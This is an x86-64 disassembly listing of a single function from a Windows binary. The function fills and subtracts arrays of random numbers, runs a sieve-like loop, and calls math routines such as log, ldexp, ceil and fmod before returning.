jmp 0x140002b99
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x39e8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x2538]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x39e4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x39e8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x2530]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x39e4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x39e4], 1
cmp dword [rbp + 0x39e4], 8
jle 0x140002ad2
add dword [rbp + 0x39e8], 1
cmp dword [rbp + 0x39e8], 5
jle 0x140002ac3
mov dword [rbp + 0x39e8], 0
jmp 0x140002c8a
mov dword [rbp + 0x39e4], 0
jmp 0x140002c76
mov eax, dword [rbp + 0x39e8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2538]
add rdx, rax
mov eax, dword [rbp + 0x39e4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x39e8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2530]
add rdx, rax
mov eax, dword [rbp + 0x39e4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x39e8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2528]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x39e4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x39e4], 1
cmp dword [rbp + 0x39e4], 8
jle 0x140002bd8
add dword [rbp + 0x39e8], 1
cmp dword [rbp + 0x39e8], 5
jle 0x140002bc9
mov rax, qword [rbp + 0x2538]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2530]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2528]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2524], 1
mov ecx, 0x1b0
call sym.malloc
mov qword [rbp + 0x2518], rax
mov qword [rbp + 0x39d8], 2
jmp 0x140002d13
mov rax, qword [rbp + 0x39d8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2518]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x39d8], 1
cmp qword [rbp + 0x39d8], 0x6b
jbe 0x140002cec
mov qword [rbp + 0x39d8], 2
jmp 0x140002da5
mov rax, qword [rbp + 0x39d8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2518]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002d9d
mov rax, qword [rbp + 0x39d8]
mov qword [rbp + 0x39d0], rax
jmp 0x140002d88
mov rax, qword [rbp + 0x39d8]
imul rax, qword [rbp + 0x39d0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2518]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x39d0], 1
mov rax, qword [rbp + 0x39d8]
imul rax, qword [rbp + 0x39d0]
cmp rax, 0x6b
jbe 0x140002d59
add qword [rbp + 0x39d8], 1
cmp qword [rbp + 0x39d8], 0x6b
jbe 0x140002d2a
mov rax, qword [rbp + 0x2518]
mov rcx, rax
call sym.free
call sym.rand
imul eax, eax, 0xe5
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2510], rax
cmp dword [rbp + 0x39fc], 0x52
jle 0x140002a7a
mov dword [rbp + 0x39c8], 0
mov dword [rbp + 0x250c], 0
mov ecx, 0x144
call sym.malloc
mov qword [rbp + 0x2500], rax
mov dword [rbp + 0x39c4], 0xffffffff
mov ecx, 0x930
call sym.malloc
mov qword [rbp + 0x24f8], rax
mov ecx, 0x930
call sym.malloc
mov qword [rbp + 0x24f0], rax
add dword [rbp + 0x39c4], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x39c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x24f8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x39c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x24f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x39c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x24f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x39c4], 0x124
jle 0x140002e5a
mov qword [rbp + 0x39b8], 0
mov dword [rbp + 0x24ec], 0x17c
mov dword [rbp + 0x39c0], 1
jmp 0x140002f76
mov eax, dword [rbp + 0x39c0]
cdqe
add qword [rbp + 0x39b8], rax
add dword [rbp + 0x39c0], 1
mov eax, dword [rbp + 0x39c0]
cmp eax, dword [rbp + 0x24ec]
jle 0x140002f60
mov dword [rbp + 0x39b4], 0
jmp 0x140002fce
call sym.rand
imul eax, eax, 0x70
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x308], rax
add dword [rbp + 0x39b4], 1
cmp dword [rbp + 0x39b4], 0xc3
jle 0x140002f90
mov dword [rbp + 0x39cc], 0
jmp 0x140003225
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x39cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2500]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov dword [rbp + 0x39b0], 0xffffffff
add dword [rbp + 0x39b0], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x328], edx
mov edx, dword [rbp + 0x328]
imul edx, edx, 0x1c
sub eax, edx
mov dword [rbp + 0x328], eax
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x328]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x320], rax
cmp dword [rbp + 0x39b0], 0xf6
jle 0x140003046
mov dword [rbp + 0x39ac], 0xffffffff
add dword [rbp + 0x39ac], 1
call sym.rand
imul eax, eax, 0x98
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x318], rax
cmp dword [rbp + 0x39ac], 0x197
jle 0x1400030d7
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x39a8], 0
jmp 0x14000318f
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x39a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x310]
add rax, rdx
movsd xmm1, qword [0x140038278]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x39a8], 1
cmp dword [rbp + 0x39a8], 0x20
jle 0x140003141
mov dword [rbp + 0x39a8], 0
jmp 0x1400031f3
mov eax, dword [rbp + 0x39a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x310]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x39a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x310]
add rax, rdx
movq xmm1, qword [0x1400382c0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x39a8], 1
cmp dword [rbp + 0x39a8], 0x20
jle 0x1400031a4
mov eax, dword [rbp + 0x39cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2500]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x39c8], eax
add dword [rbp + 0x39cc], 1
cmp dword [rbp + 0x39cc], 0x50
jle 0x140002fe9
mov dword [rbp + 0x39a0], 0x82
mov dword [rbp + 0x39a4], 0x82
jmp 0x140003256
sub dword [rbp + 0x39a0], 1
sub dword [rbp + 0x39a4], 1
cmp dword [rbp + 0x39a4], 0xe
jg 0x140003248
mov dword [rbp + 0x399c], 0xffffffff
mov ecx, 0x8f0
call sym.malloc
mov qword [rbp + 0x24e0], rax
add dword [rbp + 0x399c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x399c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x24e0]
add rax, rdx
movsd xmm1, qword [0x140038270]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x399c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x24e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x399c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x24e0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x399c], 0x11c
jle 0x14000327a
mov ecx, 0xc8
call sym.malloc
mov qword [rbp + 0x24d8], rax
mov ecx, 0xc8
call sym.malloc
mov qword [rbp + 0x24d0], rax
mov ecx, 0xc8
call sym.malloc
mov qword [rbp + 0x24c8], rax
mov dword [rbp + 0x3998], 0
jmp 0x14000346f
mov dword [rbp + 0x3994], 0
jmp 0x14000345b
cmp dword [rbp + 0x3994], 4
jle 0x140003394
cmp dword [rbp + 0x3998], 9
jle 0x140003385
mov dword [rbp + 0x3998], 0
jmp 0x14000354c
cmp dword [rbp + 0x3998], 9
jle 0x14000348b
mov eax, 0
movups xmm6, xmmword [rbp + 0x3a90]
add rsp, 0x3b28
pop rbx
pop rsi
pop rdi
pop rbp
ret